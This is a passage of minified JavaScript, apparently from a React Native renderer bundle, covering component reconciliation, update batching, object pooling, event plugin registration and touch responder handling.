e._currentElement&&null!=e._currentElement.ref&&t.getReactMountReady().enqueue(g,e),a},getHostNode:function(e){return e.getHostNode()},unmountComponent:function(e,t,n){Kt.detachRefs(e,e._currentElement),e.unmountComponent(t,n)},receiveComponent:function(e,t,n,o){var r=e._currentElement;if(t!==r||o!==e._context){var i=Kt.shouldUpdateRefs(r,t);i&&Kt.detachRefs(e,r),e.receiveComponent(t,n,o),i&&e._currentElement&&null!=e._currentElement.ref&&n.getReactMountReady().enqueue(g,e)}},performUpdateIfNecessary:function(e,t,n){return e._updateBatchNumber!==n?void wt(null==e._updateBatchNumber||e._updateBatchNumber===n+1,\"performUpdateIfNecessary: Unexpected batch number (current %s, pending %s)\",n,e._updateBatchNumber):void e.performUpdateIfNecessary(t)}},$t=Jt,Zt={remove:function(e){e._reactInternalInstance=void 0},get:function(e){return e._reactInternalInstance},has:function(e){return void 0!==e._reactInternalInstance},set:function(e,t){e._reactInternalInstance=t}},en=Zt,tn=function(e){var t=this;if(t.instancePool.length){var n=t.instancePool.pop();return t.call(n,e),n}return new t(e)},nn=function(e,t){var n=this;if(n.instancePool.length){var o=n.instancePool.pop();return n.call(o,e,t),o}return new n(e,t)},on=function(e,t,n){var o=this;if(o.instancePool.length){var r=o.instancePool.pop();return o.call(r,e,t,n),r}return new o(e,t,n)},rn=function(e,t,n,o){var r=this;if(r.instancePool.length){var i=r.instancePool.pop();return r.call(i,e,t,n,o),i}return new r(e,t,n,o)},an=function(e){var t=this;Et(e instanceof t,\"Trying to release an instance into a pool of a different type.\"),e.destructor(),t.instancePool.length<t.poolSize&&t.instancePool.push(e)},sn=10,un=tn,cn=function(e,t){var n=e;return n.instancePool=[],n.getPooled=t||un,n.poolSize||(n.poolSize=sn),n.release=an,n},ln={addPoolingTo:cn,oneArgumentPooler:tn,twoArgumentPooler:nn,threeArgumentPooler:on,fourArgumentPooler:rn},pn=ln,dn={},hn={reinitializeTransaction:function(){this.transactionWrappers=this.getTransactionWrappers(),this.wrapperInitData?this.wrapperInitData.length=0:this.wrapperInitData=[],this._isInTransaction=!1},_isInTransaction:!1,getTransactionWrappers:null,isInTransaction:function(){return!!this._isInTransaction},perform:function(e,t,n,o,r,i,a,s){Et(!this.isInTransaction(),\"Transaction.perform(...): Cannot initialize a transaction when there is already an outstanding transaction.\");var u,c;try{this._isInTransaction=!0,u=!0,this.initializeAll(0),c=e.call(t,n,o,r,i,a,s),u=!1}finally{try{if(u)try{this.closeAll(0)}catch(e){}else this.closeAll(0)}finally{this._isInTransaction=!1}}return c},initializeAll:function(e){for(var t=this.transactionWrappers,n=e;n<t.length;n++){var o=t[n];try{this.wrapperInitData[n]=dn,this.wrapperInitData[n]=o.initialize?o.initialize.call(this):null}finally{if(this.wrapperInitData[n]===dn)try{this.initializeAll(n+1)}catch(e){}}}},closeAll:function(e){Et(this.isInTransaction(),\"Transaction.closeAll(): Cannot close transaction when none are open.\");for(var t=this.transactionWrappers,n=e;n<t.length;n++){var o,r=t[n],i=this.wrapperInitData[n];try{o=!0,i!==dn&&r.close&&r.close.call(this,i),o=!1}finally{if(o)try{this.closeAll(n+1)}catch(e){}}}this.wrapperInitData.length=0}},fn=hn,mn=[],vn=0,gn=null,_n={initialize:function(){this.dirtyComponentsLength=mn.length},close:function(){this.dirtyComponentsLength!==mn.length?(mn.splice(0,this.dirtyComponentsLength),yn()):mn.length=0}},Cn=[_n];babelHelpers.extends(C.prototype,fn,{getTransactionWrappers:function(){return Cn},destructor:function(){this.dirtyComponentsLength=null,Tn.ReactReconcileTransaction.release(this.reconcileTransaction),this.reconcileTransaction=null},perform:function(e,t,n){return fn.perform.call(this,this.reconcileTransaction.perform,this.reconcileTransaction,e,t,n)}}),pn.addPoolingTo(C);var yn=function(){for(;mn.length;){var e=C.getPooled();e.perform(T,null,e),C.release(e)}},bn={injectReconcileTransaction:function(e){Et(e,\"ReactUpdates: must provide a reconcile transaction class\"),Tn.ReactReconcileTransaction=e},injectBatchingStrategy:function(e){Et(e,\"ReactUpdates: must provide a batching strategy\"),Et(\"function\"==typeof e.batchedUpdates,\"ReactUpdates: must provide a batchedUpdates() function\"),Et(\"boolean\"==typeof e.isBatchingUpdates,\"ReactUpdates: must provide an isBatchingUpdates boolean attribute\"),gn=e},getBatchingStrategy:function(){return gn}},Tn={ReactReconcileTransaction:null,batchedUpdates:y,enqueueUpdate:R,flushBatchedUpdates:yn,injection:bn},Rn=Tn,Nn=Pt.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED,In={ReactCurrentOwner:Nn.ReactCurrentOwner},En=In,Pn={isMounted:function(e){var t=en.get(e);return!!t&&!!t._renderedComponent},enqueueCallbackInternal:function(e,t){e._pendingCallbacks?e._pendingCallbacks.push(t):e._pendingCallbacks=[t],N(e)},enqueueForceUpdate:function(e,t,n){var o=I(e);o&&(t=void 0===t?null:t,null!==t&&(o._pendingCallbacks?o._pendingCallbacks.push(t):o._pendingCallbacks=[t]),o._pendingForceUpdate=!0,N(o))},enqueueReplaceState:function(e,t,n,o){var r=I(e);r&&(r._pendingStateQueue=[t],r._pendingReplaceState=!0,n=void 0===n?null:n,null!==n&&(r._pendingCallbacks?r._pendingCallbacks.push(n):r._pendingCallbacks=[n]),N(r))},enqueueSetState:function(e,t,n,o){var r=I(e);r&&((r._pendingStateQueue||(r._pendingStateQueue=[])).push(t),n=void 0===n?null:n,null!==n&&(r._pendingCallbacks?r._pendingCallbacks.push(n):r._pendingCallbacks=[n]),N(r))},enqueueElementInternal:function(e,t,n){e._pendingElement=t,e._context=n,N(e)}},Sn=Pn,wn=!1,xn={replaceNodeWithMarkup:null,processChildrenUpdates:null,injection:{injectEnvironment:function(e){Et(!wn,\"ReactCompositeComponent: injectEnvironment() can only be called once.\"),xn.replaceNodeWithMarkup=e.replaceNodeWithMarkup,xn.processChildrenUpdates=e.processChildrenUpdates,wn=!0}}},An=xn,Dn={ImpureClass:0,PureClass:1,StatelessFunctional:2},kn={_caughtError:null,_hasCaughtError:!1,_rethrowError:null,_hasRethrowError:!1,injection:{injectErrorUtils:function(e){Et(\"function\"==typeof e.invokeGuardedCallback,\"Injected invokeGuardedCallback() must be a function.\"),On=e.invokeGuardedCallback}},invokeGuardedCallback:function(e,t,n,o,r,i,a,s,u){On.apply(kn,arguments)},invokeGuardedCallbackAndCatchFirstError:function(e,t,n,o,r,i,a,s,u){if(kn.invokeGuardedCallback.apply(this,arguments),kn.hasCaughtError()){var c=kn.clearCaughtError();kn._hasRethrowError||(kn._hasRethrowError=!0,kn._rethrowError=c)}},rethrowCaughtError:function(){return jn.apply(kn,arguments)},hasCaughtError:function(){return kn._hasCaughtError},clearCaughtError:function(){if(kn._hasCaughtError){var e=kn._caughtError;return kn._caughtError=null,kn._hasCaughtError=!1,e}Et(!1,\"clearCaughtError was called but no error was captured. This error is likely caused by a bug in React. Please file an issue.\")}},On=function(e,t,n,o,r,i,a,s,u){kn._hasCaughtError=!1,kn._caughtError=null;var c=Array.prototype.slice.call(arguments,3);try{t.apply(n,c)}catch(e){kn._caughtError=e,kn._hasCaughtError=!0}},jn=function(){if(kn._hasRethrowError){var e=kn._rethrowError;throw kn._rethrowError=null,kn._hasRethrowError=!1,e}},Mn=kn,Hn={HOST:0,COMPOSITE:1,EMPTY:2,getType:function(e){return null===e||!1===e?Hn.EMPTY:Pt.isValidElement(e)?\"function\"==typeof e.type?Hn.COMPOSITE:Hn.HOST:void Et(!1,\"Unexpected node: %s\",e)}},Un=Hn,Fn=E,Wn=En.ReactCurrentOwner;P.prototype.render=function(){return(0,en.get(this)._currentElement.type)(this.props,this.context,this.updater)};var Ln,Bn=1,Yn={construct:function(e){this._currentElement=e,this._rootNodeID=0,this._compositeType=null,this._instance=null,this._hostParent=null,this._hostContainerInfo=null,this._updateBatchNumber=null,this._pendingElement=null,this._pendingStateQueue=null,this._pendingReplaceState=!1,this._pendingForceUpdate=!1,this._renderedNodeType=null,this._renderedComponent=null,this._context=null,this._mountOrder=0,this._topLevelWrapper=null,this._pendingCallbacks=null,this._calledComponentWillUnmount=!1},mountComponent:function(e,t,n,o){this._context=o,this._mountOrder=Bn++,this._hostParent=t,this._hostContainerInfo=n;var r,i=this._currentElement.props,a=this._processContext(o),s=this._currentElement.type,u=e.getUpdateQueue(),c=S(s),l=this._constructComponent(c,i,a,u);c||null!=l&&null!=l.render?w(s)?this._compositeType=Dn.PureClass:this._compositeType=Dn.ImpureClass:(r=l,Et(null===l||!1===l||Pt.isValidElement(l),\"%s(...): A valid React element (or null) must be returned. You may have returned undefined, an array or some other invalid object.\",s.displayName||s.name||\"Component\"),l=new P(s),this._compositeType=Dn.StatelessFunctional),l.props=i,l.context=a,l.refs=St,l.updater=u,this._instance=l,en.set(l,this);var p=l.state;void 0===p&&(l.state=p=null),Et(\"object\"==typeof p&&!Array.isArray(p),\"%s.state: must be set to an object or null\",this.getName()||\"ReactCompositeComponent\"),this._pendingStateQueue=null,this._pendingReplaceState=!1,this._pendingForceUpdate=!1,l.componentWillMount&&(l.componentWillMount(),this._pendingStateQueue&&(l.state=this._processPendingState(l.props,l.context)));var d;d=l.componentDidCatch?this.performInitialMountWithErrorHandling(r,t,n,e,o):this.performInitialMount(r,t,n,e,o),l.componentDidMount&&e.getReactMountReady().enqueue(l.componentDidMount,l);var h=this._pendingCallbacks;if(h){this._pendingCallbacks=null;for(var f=0;f<h.length;f++)e.getReactMountReady().enqueue(h[f],l);\n}return d},_constructComponent:function(e,t,n,o){return this._constructComponentWithoutOwner(e,t,n,o)},_constructComponentWithoutOwner:function(e,t,n,o){var r=this._currentElement.type;return e?new r(t,n,o):r(t,n,o)},performInitialMountWithErrorHandling:function(e,t,n,o,r){var i,a=o.checkpoint();try{i=this.performInitialMount(e,t,n,o,r)}catch(s){o.rollback(a),this._instance.componentDidCatch(s),this._pendingStateQueue&&(this._instance.state=this._processPendingState(this._instance.props,this._instance.context)),a=o.checkpoint(),this._renderedComponent.unmountComponent(!0,!0),o.rollback(a),i=this.performInitialMount(e,t,n,o,r)}return i},performInitialMount:function(e,t,n,o,r){void 0===e&&(e=this._renderValidatedComponent());var i=Un.getType(e);this._renderedNodeType=i;var a=this._instantiateReactComponent(e,i!==Un.EMPTY);return this._renderedComponent=a,$t.mountComponent(a,o,t,n,this._processChildContext(r),0)},getHostNode:function(){return $t.getHostNode(this._renderedComponent)},unmountComponent:function(e,t){if(this._renderedComponent){var n=this._instance;if(n.componentWillUnmount&&!n._calledComponentWillUnmount)if(n._calledComponentWillUnmount=!0,e){if(!t){var o=this.getName()+\".componentWillUnmount()\";Mn.invokeGuardedCallbackAndCatchFirstError(o,n.componentWillUnmount,n)}}else n.componentWillUnmount();this._renderedComponent&&($t.unmountComponent(this._renderedComponent,e,t),this._renderedNodeType=null,this._renderedComponent=null,this._instance=null),this._pendingStateQueue=null,this._pendingReplaceState=!1,this._pendingForceUpdate=!1,this._pendingCallbacks=null,this._pendingElement=null,this._context=null,this._rootNodeID=0,this._topLevelWrapper=null,en.remove(n)}},_maskContext:function(e){var t=this._currentElement.type,n=t.contextTypes;if(!n)return St;var o={};for(var r in n)o[r]=e[r];return o},_processContext:function(e){return this._maskContext(e)},_processChildContext:function(e){var t,n=this._currentElement.type,o=this._instance;if(\"function\"==typeof o.getChildContext){t=o.getChildContext(),Et(\"object\"==typeof n.childContextTypes,\"%s.getChildContext(): childContextTypes must be defined in order to use getChildContext().\",this.getName()||\"ReactCompositeComponent\");for(var r in t)Et(r in n.childContextTypes,'%s.getChildContext(): key \"%s\" is not defined in childContextTypes.',this.getName()||\"ReactCompositeComponent\",r);return babelHelpers.extends({},e,t)}return e},_checkContextTypes:function(e,t,n){},receiveComponent:function(e,t,n){var o=this._currentElement,r=this._context;this._pendingElement=null,this.updateComponent(t,o,e,r,n)},performUpdateIfNecessary:function(e){if(null!=this._pendingElement)$t.receiveComponent(this,this._pendingElement,e,this._context);else if(null!==this._pendingStateQueue||this._pendingForceUpdate)this.updateComponent(e,this._currentElement,this._currentElement,this._context,this._context);else{var t=this._pendingCallbacks;if(this._pendingCallbacks=null,t)for(var n=0;n<t.length;n++)e.getReactMountReady().enqueue(t[n],this.getPublicInstance());this._updateBatchNumber=null}},updateComponent:function(e,t,n,o,r){var i=this._instance;Et(null!=i,\"Attempted to update component `%s` that has already been unmounted (or failed to mount).\",this.getName()||\"ReactCompositeComponent\");var a,s=!1;this._context===r?a=i.context:(a=this._processContext(r),s=!0);var u=t.props,c=n.props;if(t!==n&&(s=!0),s&&i.componentWillReceiveProps){var l=i.state;i.componentWillReceiveProps(c,a);var p=i.state;l!==p&&(i.state=l,i.updater.enqueueReplaceState(i,p))}var d=this._pendingCallbacks;this._pendingCallbacks=null;var h=this._processPendingState(c,a),f=!0;if(!this._pendingForceUpdate){var m=i.state;f=s||h!==m,i.shouldComponentUpdate?f=i.shouldComponentUpdate(c,h,a):this._compositeType===Dn.PureClass&&(f=!At(u,c)||!At(i.state,h))}if(this._updateBatchNumber=null,f?(this._pendingForceUpdate=!1,this._performComponentUpdate(n,c,h,a,e,r)):(this._currentElement=n,this._context=r,i.props=c,i.state=h,i.context=a),d)for(var v=0;v<d.length;v++)e.getReactMountReady().enqueue(d[v],this.getPublicInstance())},_processPendingState:function(e,t){var n=this._instance,o=this._pendingStateQueue,r=this._pendingReplaceState;if(this._pendingReplaceState=!1,this._pendingStateQueue=null,!o)return n.state;if(r&&1===o.length)return o[0];for(var i=r?o[0]:n.state,a=!0,s=r?1:0;s<o.length;s++){var u=o[s],c=\"function\"==typeof u?u.call(n,i,e,t):u;c&&(a?(a=!1,i=babelHelpers.extends({},i,c)):babelHelpers.extends(i,c))}return i},_performComponentUpdate:function(e,t,n,o,r,i){var a,s,u=this._instance,c=!!u.componentDidUpdate;c&&(a=u.props,s=u.state),u.componentWillUpdate&&u.componentWillUpdate(t,n,o),this._currentElement=e,this._context=i,u.props=t,u.state=n,u.context=o,u.componentDidCatch?this._updateRenderedComponentWithErrorHandling(r,i):this._updateRenderedComponent(r,i),c&&r.getReactMountReady().enqueue(u.componentDidUpdate.bind(u,a,s),u)},_updateRenderedComponentWithErrorHandling:function(e,t){var n=e.checkpoint();try{this._updateRenderedComponent(e,t)}catch(o){e.rollback(n),this._instance.componentDidCatch(o),this._pendingStateQueue&&(this._instance.state=this._processPendingState(this._instance.props,this._instance.context)),n=e.checkpoint(),this._updateRenderedComponentWithNextElement(e,t,null,!0),this._updateRenderedComponent(e,t)}},_updateRenderedComponent:function(e,t){var n=this._renderValidatedComponent();this._updateRenderedComponentWithNextElement(e,t,n,!1)},_updateRenderedComponentWithNextElement:function(e,t,n,o){var r=this._renderedComponent,i=r._currentElement;if(Fn(i,n))$t.receiveComponent(r,n,e,this._processChildContext(t));else{var a=$t.getHostNode(r),s=Un.getType(n);this._renderedNodeType=s;var u=this._instantiateReactComponent(n,s!==Un.EMPTY);this._renderedComponent=u;var c=$t.mountComponent(u,e,this._hostParent,this._hostContainerInfo,this._processChildContext(t),0);$t.unmountComponent(r,o,!1),this._replaceNodeWithMarkup(a,c,r)}},_replaceNodeWithMarkup:function(e,t,n){An.replaceNodeWithMarkup(e,t,n)},_renderValidatedComponentWithoutOwnerOrContext:function(){var e=this._instance;return e.render()},_renderValidatedComponent:function(){var e;if(this._compositeType===Dn.StatelessFunctional)e=this._renderValidatedComponentWithoutOwnerOrContext();else{Wn.current=this;try{e=this._renderValidatedComponentWithoutOwnerOrContext()}finally{Wn.current=null}}return Et(null===e||!1===e||Pt.isValidElement(e),\"%s.render(): A valid React element (or null) must be returned. You may have returned undefined, an array or some other invalid object.\",this.getName()||\"ReactCompositeComponent\"),e},attachRef:function(e,t){var n=this.getPublicInstance();Et(null!=n,\"Stateless function components cannot have refs.\");var o=t.getPublicInstance();(n.refs===St?n.refs={}:n.refs)[e]=o},detachRef:function(e){delete this.getPublicInstance().refs[e]},getName:function(){var e=this._currentElement.type,t=this._instance&&this._instance.constructor;return e.displayName||t&&t.displayName||e.name||t&&t.name||null},getPublicInstance:function(){var e=this._instance;return this._compositeType===Dn.StatelessFunctional?null:e},_instantiateReactComponent:null},Vn=Yn,Xn={injectEmptyComponentFactory:function(e){Ln=e}},Gn={create:function(e){return Ln(e)}};Gn.injection=Xn;var qn=Gn,zn=null,Qn=null,Kn={injectGenericComponentClass:function(e){zn=e},injectTextComponentClass:function(e){Qn=e}},Jn={createInternalComponent:x,createInstanceForText:A,isTextComponent:D,injection:Kn},$n=Jn,Zn=function(e){this.construct(e)};babelHelpers.extends(Zn.prototype,Vn,{_instantiateReactComponent:j});var eo=j,to=null,no=t(45),oo=no.useFiber?function(e){return to.findHostInstance(e)}:function(e){return e},ro=M,io=function(){};io.prototype.isReactComponent={},io.prototype.render=function(){return this.props.child},io.isReactTopLevelWrapper=!0;var ao={_instancesByContainerID:{},findNodeHandle:ro,renderComponent:function(e,t,n){var o=Pt.createElement(io,{child:e}),r=t,i=ao._instancesByContainerID[r];if(i){var a=i._currentElement,s=a.props.child;if(Fn(s,e))return Sn.enqueueElementInternal(i,o,St),n&&Sn.enqueueCallbackInternal(i,n),i;ao.unmountComponentAtNode(t)}if(!Vt.reactTagIsNativeTopRootID(t))return console.error(\"You cannot render into anything but a top root\"),null;Vt.assertRootTag(t);var u=eo(o,!1);if(ao._instancesByContainerID[t]=u,n){var c=n;u._pendingCallbacks=[function(){c.call(u._renderedComponent.getPublicInstance())}]}return Rn.batchedUpdates(U,u,t),u._renderedComponent.getPublicInstance()},_mountImageIntoNode:function(e,t){var n=e;xt.setChildren(t,[n])},unmountComponentAtNodeAndRemoveContainer:function(e){ao.unmountComponentAtNode(e),xt.removeRootView(e)},unmountComponentAtNode:function(e){if(!Vt.reactTagIsNativeTopRootID(e))return console.error(\"You cannot render into anything but a top root\"),!1;var t=ao._instancesByContainerID[e];return!!t&&(ao.unmountComponentFromNode(t,e),delete ao._instancesByContainerID[e],!0)},unmountComponentFromNode:function(e,t){$t.unmountComponent(e),xt.removeSubviewsFromContainerWithID(t)}},so=ao,uo=void 0;uo=function(){Et(!1,\"getInspectorDataForViewTag() is not available in production\")};var co,lo={getInspectorDataForViewTag:uo},po=function(e){var t=ro(e);return null==t||\"number\"==typeof t?t:t.getHostNode()},ho=null,fo={},mo={plugins:[],eventNameDispatchConfigs:{},registrationNameModules:{},registrationNameDependencies:{},possibleRegistrationNames:null,injectEventPluginOrder:function(e){Et(!ho,\"EventPluginRegistry: Cannot inject event plugin ordering more than once. You are likely trying to load more than one copy of React.\"),ho=Array.prototype.slice.call(e),F()},injectEventPluginsByName:function(e){var t=!1;for(var n in e)if(e.hasOwnProperty(n)){var o=e[n];fo.hasOwnProperty(n)&&fo[n]===o||(Et(!fo[n],\"EventPluginRegistry: Cannot inject two different event plugins using the same name, `%s`.\",n),fo[n]=o,t=!0)}t&&F()}},vo=mo,go={injectComponentTree:function(e){co=e}},_o={isEndish:B,isMoveish:Y,isStartish:V,executeDirectDispatch:Q,executeDispatchesInOrder:G,executeDispatchesInOrderStopAtTrue:z,hasDispatches:K,getFiberCurrentPropsFromNode:function(e){return co.getFiberCurrentPropsFromNode(e)},getInstanceFromNode:function(e){return co.getInstanceFromNode(e)},getNodeFromInstance:function(e){return co.getNodeFromInstance(e)},injection:go},Co=_o,yo=J,bo=$,To=null,Ro=function(e,t){e&&(Co.executeDispatchesInOrder(e,t),e.isPersistent()||e.constructor.release(e))},No=function(e){return Ro(e,!0)},Io=function(e){return Ro(e,!1)},Eo={injection:{injectEventPluginOrder:vo.injectEventPluginOrder,injectEventPluginsByName:vo.injectEventPluginsByName},getListener:function(e,t){var n;if(\"number\"==typeof e.tag){var o=e.stateNode;if(!o)return null;var r=Co.getFiberCurrentPropsFromNode(o);if(!r)return null;if(n=r[t],ee(t,e.type,r))return null}else{var i=e._currentElement;if(\"string\"==typeof i||\"number\"==typeof i)return null;if(!e._rootNodeID)return null;var a=i.props;if(n=a[t],ee(t,i.type,a))return null}return Et(!n||\"function\"==typeof n,\"Expected %s listener to be a function, instead got type %s\",t,typeof n),n},extractEvents:function(e,t,n,o){for(var r,i=vo.plugins,a=0;a<i.length;a++){var s=i[a];if(s){var u=s.extractEvents(e,t,n,o);u&&(r=yo(r,u))}}return r},enqueueEvents:function(e){e&&(To=yo(To,e))},processEventQueue:function(e){var t=To;To=null,e?bo(t,No):bo(t,Io),Et(!To,\"processEventQueue(): Additional events were enqueued while processing an event queue. Support for this has not yet been implemented.\"),Mn.rethrowCaughtError()}},Po=Eo,So=Xt.HostComponent,wo={isAncestor:oe,getLowestCommonAncestor:ne,getParentInstance:re,traverseTwoPhase:ie,traverseEnterLeave:ae},xo=Po.getListener,Ao={accumulateTwoPhaseDispatches:he,accumulateTwoPhaseDispatchesSkipTarget:fe,accumulateDirectDispatches:ve,accumulateEnterLeaveDispatches:me},Do=Ao,ko=10,Oo=[\"dispatchConfig\",\"_targetInst\",\"nativeEvent\",\"isDefaultPrevented\",\"isPropagationStopped\",\"_dispatchListeners\",\"_dispatchInstances\"],jo={type:null,target:null,currentTarget:kt.thatReturnsNull,eventPhase:null,bubbles:null,cancelable:null,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:null,isTrusted:null};babelHelpers.extends(ge.prototype,{preventDefault:function(){this.defaultPrevented=!0;var e=this.nativeEvent;e&&(e.preventDefault?e.preventDefault():\"unknown\"!=typeof e.returnValue&&(e.returnValue=!1),this.isDefaultPrevented=kt.thatReturnsTrue)},stopPropagation:function(){var e=this.nativeEvent;e&&(e.stopPropagation?e.stopPropagation():\"unknown\"!=typeof e.cancelBubble&&(e.cancelBubble=!0),this.isPropagationStopped=kt.thatReturnsTrue)},persist:function(){this.isPersistent=kt.thatReturnsTrue},isPersistent:kt.thatReturnsFalse,destructor:function(){var e=this.constructor.Interface;for(var t in e)this[t]=null;for(var n=0;n<Oo.length;n++)this[Oo[n]]=null}}),ge.Interface=jo,ge.augmentClass=function(e,t){var n=this,o=function(){};o.prototype=n.prototype;var r=new o;babelHelpers.extends(r,e.prototype),e.prototype=r,e.prototype.constructor=e,e.Interface=babelHelpers.extends({},n.Interface,t),e.augmentClass=n.augmentClass,ye(e)},ye(ge);var Mo=ge,Ho=xt.customBubblingEventTypes,Uo=xt.customDirectEventTypes,Fo={};for(var Wo in Ho)Fo[Wo]=Ho[Wo];for(var Lo in Uo)wt(!Ho[Lo],\"Event cannot be both direct and bubbling: %s\",Lo),Fo[Lo]=Uo[Lo];var Bo={eventTypes:babelHelpers.extends({},Ho,Uo),extractEvents:function(e,t,n,o){var r=Ho[e],i=Uo[e],a=Mo.getPooled(r||i,t,n,o);if(r)Do.accumulateTwoPhaseDispatches(a);else{if(!i)return null;Do.accumulateDirectDispatches(a)}return a}},Yo=Bo,Vo={handleTopLevel:function(e,t,n,o){be(Po.extractEvents(e,t,n,o))}},Xo=Vo,Go=null,qo={injectFiberControlledHostComponent:function(e){Go=e}},zo=null,Qo=null,Ko={injection:qo,enqueueStateRestore:function(e){zo?Qo?Qo.push(e):Qo=[e]:zo=e},restoreStateIfNeeded:function(){if(zo){var e=zo,t=Qo;if(zo=null,Qo=null,Te(e),t)for(var n=0;n<t.length;n++)Te(t[n])}}},Jo=Ko,$o=function(e,t,n,o,r,i){return e(t,n,o,r,i)},Zo=function(e,t){return e(t)},er=!1,tr={injectStackBatchedUpdates:function(e){$o=e},injectFiberBatchedUpdates:function(e){Zo=e}},nr={batchedUpdates:Ie,injection:tr},or=nr,rr={},ir=function(e,t){for(var n=[],o=0;o<t.length;o++)n.push(e[t[o]]);return n},ar=function(e,t){for(var n=[],o=e,r=0;r<t.length;r++){var i=t[r];n.push(e[i]),o[i]=null}for(var a=0,s=0;s<o.length;s++){var u=o[s];null!==u&&(o[a++]=u)}return o.length=a,n},sr=babelHelpers.extends({},Xo,{registrationNames:vo.registrationNameModules,getListener:Po.getListener,_receiveRootNodeIDEvent:function(e,t,n){var o=n||rr,r=Wt.getInstanceFromNode(e);or.batchedUpdates(function(){sr.handleTopLevel(t,r,o,o.target)})},receiveEvent:function(e,t,n){var o=e;sr._receiveRootNodeIDEvent(o,t,n)},receiveTouches:function(e,t,n){for(var o=\"topTouchEnd\"===e||\"topTouchCancel\"===e?ar(t,n):ir(t,n),r=0;r<o.length;r++){var i=o[r];i.changedTouches=o,i.touches=t;var a=i,s=null,u=a.target;null!==u&&void 0!==u&&(u<Vt.tagsStartAt||(s=u)),sr._receiveRootNodeIDEvent(s,e,a)}}}),ur=sr,cr=[\"ResponderEventPlugin\",\"ReactNativeBridgeEventPlugin\"],lr=cr,pr={onChange:function(e,t,n){if(null!==t){var o=\"number\"!=typeof t.tag?t._rootNodeID:t.stateNode._nativeTag;xt.setJSResponder(o,n)}else xt.clearJSResponder()}},dr=pr,hr={touchHistory:function(e){return null}};Mo.augmentClass(Ee,hr);var fr,mr=Ee,vr=Co.isEndish,gr=Co.isMoveish,_r=Co.isStartish,Cr=20,yr=[],br={touchBank:yr,numberActiveTouches:0,indexOfSingleActiveTouch:-1,mostRecentTimeStamp:0},Tr={recordTouchTrack:function(e,t){if(gr(e))t.changedTouches.forEach(De);else if(_r(e))t.changedTouches.forEach(Ae),br.numberActiveTouches=t.touches.length,1===br.numberActiveTouches&&(br.indexOfSingleActiveTouch=t.touches[0].identifier);else if(vr(e)&&(t.changedTouches.forEach(ke),br.numberActiveTouches=t.touches.length,1===br.numberActiveTouches))for(var n=0;n<yr.length;n++){var o=yr[n];if(null!=o&&o.touchActive){br.indexOfSingleActiveTouch=n;break}}},touchHistory:br},Rr=Tr,Nr=Me,Ir=Co.isStartish,Er=Co.isMoveish,Pr=Co.isEndish,Sr=Co.executeDirectDispatch,wr=Co.hasDispatches,xr=Co.executeDispatchesInOrderStopAtTrue,Ar=null,Dr=0,kr=0,Or=function(e,t){var n=Ar;Ar=e,null!==Mr.GlobalResponderHandler&&Mr.GlobalResponderHandler.onChange(n,e,t)},jr={startShouldSetResponder:{phasedRegistrationNames:{bubbled:\"onStartShouldSetResponder\",captured:\"onStartShouldSetResponderCapture\"}},scrollShouldSetResponder:{phasedRegistrationNames:{bubbled:\"onScrollShouldSetResponder\",captured:\"onScrollShouldSetResponderCapture\"}},selectionChangeShouldSetResponder:{phasedRegistrationNames:{bubbled:\"onSelectionChangeShouldSetResponder\",captured:\"onSelectionChangeShouldSetResponderCapture\"}},moveShouldSetResponder:{phasedRegistrationNames:{bubbled:\"onMoveShouldSetResponder\",captured:\"onMoveShouldSetResponderCapture\"}},responderStart:{registrationName:\"onResponderStart\"},responderMove:{registrationName:\"onResponderMove\"},responderEnd:{registrationName:\"onResponderEnd\"},responderRelease:{registrationName:\"onResponderRelease\"},responderTerminationRequest:{registrationName:\"onResponderTerminationRequest\"},responderGrant:{registrationName:\"onResponderGrant\"},responderReject:{registrationName:\"onResponderReject\"},responderTerminate:{registrationName:\"onResponderTerminate\"}},Mr={_getResponder:function(){return Ar},eventTypes:jr,extractEvents:function(e,t,n,o){if(Ir(e))Dr+=1;else if(Pr(e)){if(!(Dr>=0))return console.error(\"Ended a touch event which was not counted in `trackedTouchCount`.\"),null;Dr-=1}Rr.recordTouchTrack(e,n);var r=Ue(e,t,n)?He(e,t,n,o):null,i=Ar&&Ir(e),a=Ar&&Er(e),s=Ar&&Pr(e),u=i?jr.responderStart:a?jr.responderMove:s?jr.responderEnd:null;if(u){var c=mr.getPooled(u,Ar,n,o);c.touchHistory=Rr.touchHistory,Do.accumulateDirectDispatches(c),r=Nr(r,c)}var l=Ar&&\"topTouchCancel\"===e,p=Ar&&!l&&Pr(e)&&Fe(n),d=l?jr.responderTerminate:p?jr.responderRelease:null;if(d){var h=mr.getPooled(d,Ar,n,o);h.touchHistory=Rr.touchHistory,Do.accumulateDirectDispatches(h),r=Nr(r,h),Or(null)}var f=Rr.touchHistory.numberActiveTouches;return Mr.GlobalInteractionHandler&&f!==kr&&Mr.GlobalInteractionHandler.onChange(f),kr=f,r},GlobalResponderHandler:null,GlobalInteractionHandler:null,injection:{injectGlobalResponderHandler:function(e){Mr.GlobalResponderHandler=e},injectGlobalInteractionHandler:function(e){Mr.GlobalInteractionHandler=e}}},Hr=Mr;Dt.register(ur),Po.injection.injectEventPluginOrder(lr),Co.injection.injectComponentTree(Wt),Hr.injection.injectGlobalResponderHandler(dr),Po.injection.injectEventPluginsByName({ResponderEventPlugin:Hr,ReactNativeBridgeEventPlugin:Yo});var Ur={initialize:kt,close:function(){Br.isBatchingUpdates=!1}},Fr={initialize:kt,close:Rn.flushBatchedUpdates.bind(Rn)},Wr=[Fr,Ur];babelHelpers.extends(We.prototype,fn,{getTransactionWrappers:function(){return Wr}});var Lr=new We,Br={isBatchingUpdates:!1,batchedUpdates:function(e,t,n,o,r,i){var a=Br.isBatchingUpdates;return Br.isBatchingUpdates=!0,a?e(t,n,o,r,i):Lr.perform(e,null,t,n,o,r,i)}},Yr=Br,Vr=function(e,t){if(t.length){for(var n,o,r,i,a,s=Wt.getNodeFromInstance(e),u=0;u<t.length;u++){var c=t[u];if(\"MOVE_EXISTING\"===c.type)(n||(n=[])).push(c.fromIndex),(o||(o=[])).push(c.toIndex);else if(\"REMOVE_NODE\"===c.type)(a||(a=[])).push(c.fromIndex);else if(\"INSERT_MARKUP\"===c.type){var l=c.content,p=l;(i||(i=[])).push(c.toIndex),(r||(r=[])).push(p)}}xt.manageChildren(s,n,o,r,i,a)}},Xr={dangerouslyProcessChildrenUpdates:Vr,dangerouslyReplaceNodeWithMarkupByID:function(e,t){var n=e;xt.replaceExistingNonRootView(n,t)}},Gr=Xr,qr=Le,zr=function(){function e(){Be(this,e),this._callbacks=null,this._contexts=null}return 